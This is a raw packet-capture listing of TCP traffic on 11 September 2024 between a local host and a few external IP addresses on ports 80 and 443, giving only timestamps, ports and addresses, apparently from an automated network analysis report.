Sep 11, 2024 16:22:18.964149952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964169979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964179039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964200974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964210033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964536905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964543104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964562893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964572906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964586020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964590073 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964595079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964623928 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964623928 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964664936 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964680910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964689016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964703083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964709997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964716911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964726925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964742899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964745045 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964745045 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964751005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964766979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964773893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964801073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964806080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964806080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964807034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964823961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964839935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964847088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964859962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964859962 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964859962 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964869022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.964910030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.964910030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.969692945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969701052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969722986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969729900 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969743967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969752073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969758034 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.969758987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969765902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969789028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.969789028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.969803095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.969923973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969932079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969938993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969949007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969957113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.969978094 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970005035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970026970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970033884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970047951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970078945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970108032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970599890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970655918 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970689058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970695019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970701933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970709085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970722914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970731020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970731020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970757961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970762968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970766068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970779896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970781088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970805883 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970827103 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970848083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970854044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970875025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970882893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970890045 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970896006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970904112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970910072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970920086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970926046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970932961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970940113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970947027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970947981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970954895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970962048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.970963001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.970988989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.971012115 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.971072912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.971118927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.973582983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973629951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973634958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973644972 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973685026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973692894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973692894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973702908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973710060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973723888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973728895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973748922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973859072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973874092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973881960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973896027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973903894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973917961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973922014 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973926067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973941088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.973951101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973978996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.973978996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.976351023 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.976422071 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.977013111 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.977078915 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.978981018 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.979123116 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.980962038 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.981025934 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.984046936 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.984076023 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.984147072 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.984181881 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.984215021 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.984236956 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.997270107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997278929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997292995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997312069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997325897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997333050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997347116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997354984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997370958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997409105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997416019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997430086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997435093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997438908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997452974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997457027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997478962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997560978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997589111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997730970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997737885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997740030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997771025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997818947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997824907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997839928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997869015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997873068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997880936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997888088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997894049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.997895002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.997914076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998250961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998259068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998272896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998279095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998279095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998295069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998298883 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998303890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998321056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998326063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998334885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998342037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998347998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998353958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998357058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998364925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998368025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998374939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998378038 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998384953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998404026 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998543024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998550892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998564959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998569012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998594999 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998615980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998622894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998636961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998642921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998645067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998653889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998668909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998745918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998750925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998764038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998769045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998773098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998788118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998790979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998795986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998810053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998812914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998843908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.998972893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998979092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.998992920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999001026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999001026 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999015093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999017954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999027014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999039888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999043941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999047995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999062061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999068022 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999068022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999084949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999085903 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999093056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999105930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999110937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999130964 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999238014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999244928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999258995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999264002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999264956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999284029 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999408960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999553919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999562025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999576092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999614954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999782085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999789000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999802113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999809027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999809980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999825954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999828100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999831915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999866009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999866009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.999948978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999957085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999972105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999978065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999993086 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.999998093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.000000000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000017881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.000021935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000030994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000034094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.000037909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000046015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000053883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000065088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.000067949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000081062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000093937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.000101089 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.000114918 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.023320913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023329973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023338079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023344994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023375034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.023405075 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.023482084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023488998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023503065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023508072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.023509979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.023528099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.028623104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.042301893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042309046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042320013 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042361021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042385101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042392015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042397976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042407990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042412996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042419910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042434931 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042685032 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042690039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042700052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042711020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042732954 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042746067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042752028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042753935 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042757988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042762995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042768955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.042783976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.042802095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.043152094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043164015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043174028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043179035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043184042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043195009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043200016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.043205976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.043225050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.043237925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.048849106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048855066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048866034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048902035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.048923969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048928976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048933983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048939943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.048954010 CEST	49735	80	192.168.2.4	147.45.44.104
